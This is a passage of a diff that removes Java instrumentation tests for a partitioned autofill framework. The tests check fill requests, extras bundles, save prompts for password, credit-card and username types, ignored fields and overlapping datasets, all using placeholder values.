-                        .setField(ID_L3C2, "l3c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger auto-fill.
-        focusCell(3, 1);
-        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
-        assertThat(fillRequest3.flags).isEqualTo(0);
-
-        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
-        assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
-        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 3");
-
-        // Check the results.
-        expectation3.assertAutoFilled();
-
-        // 4th partition - manual
-        // Must set text before creating expectation, and it must be a subset of the dataset values,
-        // otherwise the UI won't be shown because of filtering
-        mActivity.setText(4, 1, "l4");
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 4"))
-                        .setField(ID_L4C1, "l4c1")
-                        .setField(ID_L4C2, "l4c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1")
-                .onCell(4, 2, "l4c2");
-
-        // Trigger auto-fill.
-        mActivity.forceAutofill(4, 1);
-        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
-
-        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
-        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
-        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
-        assertValue(fillRequest4.structure, ID_L4C1, "l4");
-        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 4");
-
-        // Check the results.
-        expectation4.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillBundleDataIsPassedAlong() throws Exception {
-        // Set service.
-        enableService();
-
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4");
-
-        // Prepare 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setExtras(extras)
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger auto-fill on 1st partition.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        assertThat(fillRequest1.data).isNull();
-        mUiBot.assertDatasets("l1c1");
-
-        // Prepare 2nd partition; it replaces 'number' and adds 'numbers2'
-        extras.clear();
-        extras.putString("numbers", "48");
-        extras.putString("numbers2", "1516");
-
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setExtras(extras)
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger auto-fill on 2nd partition
-        focusCell(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.flags).isEqualTo(0);
-        assertWithMessage("null bundle on request 2").that(fillRequest2.data).isNotNull();
-        assertWithMessage("wrong number of extras on request 2 bundle")
-                .that(fillRequest2.data.size()).isEqualTo(1);
-        assertThat(fillRequest2.data.getString("numbers")).isEqualTo("4");
-
-        // Prepare 3nd partition; it has no extras
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setExtras(null)
-                .build();
-        sReplier.addResponse(response3);
-
-        // Trigger auto-fill on 3rd partition
-        focusCell(3, 1);
-        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
-        assertThat(fillRequest3.flags).isEqualTo(0);
-        assertWithMessage("null bundle on request 3").that(fillRequest2.data).isNotNull();
-        assertWithMessage("wrong number of extras on request 3 bundle")
-                .that(fillRequest3.data.size()).isEqualTo(2);
-        assertThat(fillRequest3.data.getString("numbers")).isEqualTo("48");
-        assertThat(fillRequest3.data.getString("numbers2")).isEqualTo("1516");
-
-
-        // Prepare 4th partition; it contains just 'numbers4'
-        extras.clear();
-        extras.putString("numbers4", "2342");
-
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
-                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .setExtras(extras)
-                .build();
-        sReplier.addResponse(response4);
-
-        // Trigger auto-fill on 4th partition
-        focusCell(4, 1);
-        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
-        assertThat(fillRequest4.flags).isEqualTo(0);
-        assertWithMessage("non-null bundle on request 4").that(fillRequest4.data).isNull();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        assertWithMessage("wrong number of extras on save request bundle")
-                .that(saveRequest.data.size()).isEqualTo(1);
-        assertThat(saveRequest.data.getString("numbers4")).isEqualTo("2342");
-    }
-
-    @Test
-    public void testSaveOneSaveInfoOnFirstPartitionWithIdsOnSecond() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-    }
-
-    @Test
-    public void testSaveOneSaveInfoOnSecondPartitionWithIdsOnFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-    }
-
-    @Test
-    public void testSaveTwoSaveInfosDifferentTypes() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-    }
-
-    @Test
-    public void testSaveThreeSaveInfosDifferentTypes() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 3rd partition.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
-                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
-                .build();
-        sReplier.addResponse(response3);
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.setText(3, 1, "L3C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD,
-                SAVE_DATA_TYPE_USERNAME);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
-    }
-
-    @Test
-    public void testSaveThreeSaveInfosDifferentTypesIncludingGeneric() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC, ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 3rd partition.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setRequiredSavableIds(
-                        SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC | SAVE_DATA_TYPE_USERNAME,
-                        ID_L3C1)
-                .build();
-        sReplier.addResponse(response3);
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.setText(3, 1, "L3C1");
-        mActivity.save();
-
-        // Make sure GENERIC type is not shown on snackbar
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_USERNAME);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
-    }
-
-    @Test
-    public void testSaveMoreThanThreeSaveInfosDifferentTypes() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
-                .build();
-        sReplier.addResponse(response1);
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 2nd partition.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_L2C1)
-                .build();
-        sReplier.addResponse(response2);
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 3rd partition.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
-                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
-                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
-                .build();
-        sReplier.addResponse(response3);
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Trigger 4th partition.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
-                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
-                        | SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_ADDRESS, ID_L4C1)
-                .build();
-        sReplier.addResponse(response4);
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-
-        // Trigger save
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(2, 1, "L2C1");
-        mActivity.setText(3, 1, "L3C1");
-        mActivity.setText(4, 1, "L4C1");
-        mActivity.save();
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
-        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
-        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
-        assertValue(saveRequest.structure, ID_L4C1, "L4C1");
-    }
-
-    @Test
-    public void testIgnoredFieldsDontTriggerAutofill() throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .setIgnoreFields(ID_L2C1, ID_L2C2)
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger auto-fill on 1st partition.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
-        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
-
-        // Make sure UI is shown on 1st partition
-        mUiBot.assertDatasets("l1c1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("l1c2");
-
-        // Make sure UI is not shown on ignored partition
-        focusCell(2, 1);
-        mUiBot.assertNoDatasets();
-        focusCellNoWindowChange(2, 2);
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset, but they don't overlap, i.e.,
-     * each {@link FillResponse} only contain fields within the partition.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsNoOverlap() throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D2"))
-                        .setField(ID_L1C1, "L1C1")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, "L2C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 2, "L2C2");
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, "L3C1")
-                        .setField(ID_L3C2, "L3C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "L3C1")
-                .onCell(3, 2, "L3C2");
-
-        // Trigger partition.
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, "l4c1")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, "L4C1")
-                        .setField(ID_L4C2, "L4C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1");
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        /*
-         *  Now move focus around to make sure the proper values are displayed each time.
-         */
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /*
-         *  Finally, autofill and check results.
-         */
-        focusCell(4, 1);
-        mUiBot.selectDataset("P4D1");
-        expectation4.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("P1D1");
-        expectation1.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("P3D2");
-        expectation3.assertAutoFilled();
-
-        focusCell(2, 2);
-        mUiBot.selectDataset("P2D2");
-        expectation2.assertAutoFilled();
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
-     * some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the first.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsOverlappingPicksFirst() throws Exception {
-        autofillMultipleDatasetsOverlapping(true);
-    }
-
-    /**
-     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
-     * some fields are present in more than one partition.
-     *
-     * <p>Whenever a new partition defines a field previously present in another partittion, that
-     * partition will "own" that field.
-     *
-     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
-     * the second.
-     */
-    @Test
-    public void testAutofillMultipleDatasetsOverlappingPicksSecond() throws Exception {
-        autofillMultipleDatasetsOverlapping(false);
-    }
-
-    private void autofillMultipleDatasetsOverlapping(boolean pickFirst) throws Exception {
-        // Set service.
-        enableService();
-
-        /**
-         * 1st partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D1"))
-                        .setField(ID_L1C1, "1l1c1")
-                        .setField(ID_L1C2, "1l1c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P1D2"))
-                        .setField(ID_L1C1, "1L1C1")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger partition.
-        focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        mUiBot.assertDatasets("P1D1", "P1D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-
-        /**
-         * 2nd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L1C1, "2l1c1") // from previous partition
-                        .setField(ID_L2C1, "2l2c1")
-                        .setField(ID_L2C2, "2l2c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, "2L2C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger partition.
-        focusCell(2, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1"); // changed
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P1D1");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P2D1", "P2D2");
-
-        /**
-         * 3rd partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L1C2, "3l1c2")
-                        .setField(ID_L3C1, "3l3c1")
-                        .setField(ID_L3C2, "3l3c2")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L2C2, "3l2c2")
-                        .setField(ID_L3C1, "3L3C1")
-                        .setField(ID_L3C2, "3L3C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-
-        // Trigger partition.
-        focusCell(3, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P3D1"); // changed
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P2D1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P3D2"); // changed
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P3D1", "P3D2");
-
-        /**
-         * 4th partition.
-         */
-        // Set expectations.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L1C1, "4l1c1")
-                        .setField(ID_L1C2, "4l1c2")
-                        .setField(ID_L2C1, "4l2c1")
-                        .setField(ID_L2C2, "4l2c2")
-                        .setField(ID_L3C1, "4l3c1")
-                        .setField(ID_L3C2, "4l3c2")
-                        .setField(ID_L4C1, "4l4c1")
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L1C1, "4L1C1")
-                        .setField(ID_L1C2, "4L1C2")
-                        .setField(ID_L2C1, "4L2C1")
-                        .setField(ID_L2C2, "4L2C2")
-                        .setField(ID_L3C1, "4L3C1")
-                        .setField(ID_L3C2, "4L3C2")
-                        .setField(ID_L1C1, "4L1C1")
-                        .setField(ID_L4C1, "4L4C1")
-                        .setField(ID_L4C2, "4L4C2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-
-        // Trigger partition.
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        // Asserts proper datasets are shown on each field defined so far.
-        focusCell(1, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 2);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(3, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 1);
-        mUiBot.assertDatasets("P4D1", "P4D2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("P4D2");
-
-        /*
-         * Finally, autofill and check results.
-         */
-        final FillExpectation expectation = mActivity.expectAutofill();
-        final String chosenOne;
-        if (pickFirst) {
-            expectation
-                .onCell(1, 1, "4l1c1")
-                .onCell(1, 2, "4l1c2")
-                .onCell(2, 1, "4l2c1")
-                .onCell(2, 2, "4l2c2")
-                .onCell(3, 1, "4l3c1")
-                .onCell(3, 2, "4l3c2")
-                .onCell(4, 1, "4l4c1");
-            chosenOne = "P4D1";
-        } else {
-            expectation
-                .onCell(1, 1, "4L1C1")
-                .onCell(1, 2, "4L1C2")
